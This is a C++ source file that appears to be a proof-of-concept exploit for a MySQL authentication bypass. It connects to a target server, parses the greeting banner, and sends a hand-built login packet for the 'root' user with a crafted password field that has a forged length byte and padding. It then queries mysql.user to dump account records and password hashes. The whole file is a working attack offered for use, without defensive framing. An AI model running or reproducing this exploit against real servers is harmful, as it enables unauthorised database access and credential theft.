//mysql_ngs.cpp
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#define Get(X, Y) X Y( int &offset )\
               {if( offset <= (int)(m_Size - sizeof( X )))\
                    { offset += sizeof( X ); return *((X *)(&m_Data[ offset - sizeof(X) ]));}\
               else return 0;}
#define Addn(X, Y) int Y( int &offset, X n ){ Add( (BYTE *)&n, sizeof( n ) ); return 1; }
class Buffer
{
public:
     unsigned char *m_Data;
     int m_Size;
     Buffer(){ m_Data = NULL; m_Size = 0; };
     ~Buffer(){ if( m_Data ) delete m_Data; };
     int Add( unsigned char *pdata, int len )
     {
          unsigned char *pNew;
          int NewSize = m_Size + len;
          pNew = new unsigned char [ NewSize ];
          if( m_Size > 0 )
          {
               memcpy( pNew, m_Data, m_Size );
               delete m_Data;
          }
          memcpy( &(pNew[m_Size]), pdata, len );
          m_Data = pNew;
          m_Size += len;
          return 1;
     };
     int SetSize( int NewSize )
     {
          if( m_Size > 0 )
               delete m_Data;
          m_Data = new unsigned char [ NewSize ];
          m_Size = NewSize;
          memset( m_Data, 0, m_Size );
          return 1;
     };
     int Print()
     {
          int i;
          for( i = 0; i < m_Size; i++)
          {
               printf("%c", m_Data[ i ] );
//               if( i % 32 == 0 )
//                    printf("\n" );
          }
          return 1;
     };
     Get(BYTE, GetBYTE);
     Get(WORD, GetWORD);
     Get(DWORD, GetDWORD);
     Addn(BYTE, AddBYTE );
     Addn(WORD, AddWORD );
     Addn(DWORD, AddDWORD );
     int GetString( int &offset, Buffer &ret )
     {
          int len;
          if( offset > m_Size - 1 )
               return 0;
          len = (int)strlen( (char *)(&(m_Data[offset])) );
          ret.SetSize( 0 );
          ret.Add( &(m_Data[offset]), len + 1 );
          offset += len + 1;
          return 1;
     }
};
int m_sock_initialised = 0;
class Socket
{
private: 
     int m_sock;
public:
     Socket(){ m_sock = 0; }
     ~Socket(){ Disconnect(); }
     int Connect( char *host_ip, unsigned short port )
     {
          WORD wVersionRequested;
          WSADATA wsaData;
          int ret;
          struct sockaddr_in sa;
          if ( m_sock_initialised == 0 )
          {
               wVersionRequested = MAKEWORD( 2, 2 );
      
               ret = WSAStartup( wVersionRequested, &wsaData );
               
               if ( ret != 0 )
                    return 0;
          
               m_sock_initialised = 1;
          }
          m_sock = (int)socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
          if( m_sock == INVALID_SOCKET )
               return 0;
          sa.sin_addr.s_addr = inet_addr( host_ip );;
          sa.sin_family=AF_INET;
          sa.sin_port = htons( port );
     
          ret = connect( m_sock, (struct sockaddr *)&sa, sizeof( struct sockaddr_in ) );
          if( ret == 0 )
               return 1;
          else 
               return 0;
     }
     int Disconnect()
     {
          closesocket( m_sock );
          return 1;
     }
     int Send( Buffer &buff )
     {
          return send( m_sock, (char *)buff.m_Data, buff.m_Size, 0 );
     }
     int Receive( Buffer &buff )
     {
          return recv( m_sock, (char *)buff.m_Data, buff.m_Size, 0 );
     }
};
int SendGreeting( Socket &s, Buffer &ret )
{
     return 1;
}
int RecvBanner( Socket &s, Buffer &ret )
{
     return s.Receive( ret );
}
int ParseBanner( Buffer &buff, WORD &BodyLength, WORD &Packet, BYTE &Protocol, Buffer &Version, 
                     DWORD &ThreadID, Buffer &Challenge, WORD &Capabilities, 
BYTE &Charset, WORD &Status, Buffer &Padding )
{
     int offset = 0;
    BodyLength = buff.GetWORD( offset );
     Packet = buff.GetWORD( offset );
     Protocol = buff.GetBYTE( offset );
     buff.GetString( offset, Version );
     ThreadID = buff.GetDWORD( offset );
     buff.GetString( offset, Challenge );
     Capabilities = buff.GetWORD( offset );
     Charset = buff.GetBYTE( offset );
     Status = buff.GetWORD( offset );
     buff.GetString( offset, Padding );
     return 1;
}
int main(int argc, char *argv[])
{
     Socket s;
     Buffer banner;
     BYTE Protocol, Charset;
     WORD BodyLength, Packet, Capabilities, Status;
     DWORD ThreadID;
     Buffer Version, Challenge, Padding, Response, tmp, Query;
     int offset;
     char *user = "root";
     char *password = "\x14\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
     char *pszQuery = "select * from mysql.user";
     banner.SetSize( 4096 );
     if( !s.Connect( argv[1], atoi( argv[2] ) )) goto err;
     if( !RecvBanner( s, banner ) ) goto err;
     ParseBanner( banner, BodyLength, Packet, Protocol, Version, ThreadID, Challenge, 
Capabilities, Charset, Status, Padding );
     
     offset = 0;
     Response.AddWORD( offset, 0x0032 ); // length 
     Response.AddWORD( offset, 0x0100 ); // packet
     Response.AddWORD( offset, 0xa485 ); // capabilities
     Response.AddWORD( offset, 0x0000 );
     Response.AddBYTE( offset, 0x00 );
     Response.Add( (BYTE *)user, (int)strlen( user ) + 1 );
     offset += (int)strlen( user ) + 1;
     Response.Add( (BYTE *)password, 40 );
     offset += (int)strlen( password ) + 1;
     s.Send( Response );
     tmp.SetSize( 0 );
     tmp.SetSize( 4096 );
     s.Receive( tmp );
     tmp.Print();
     offset = 0;
     Query.AddWORD( offset, (int)strlen( pszQuery ) + 2 ); // length
     Query.AddWORD( offset, 0x0000 ); // packet
     Query.AddBYTE( offset, 0x03 ); // command = query
     Query.Add( (BYTE *)pszQuery, (int)strlen( pszQuery ) + 1 );
     s.Send( Query );
     tmp.SetSize( 0 );
     tmp.SetSize( 4096 );
     s.Receive( tmp );
     tmp.Print();
     return 0;
err:
     return 1;
}

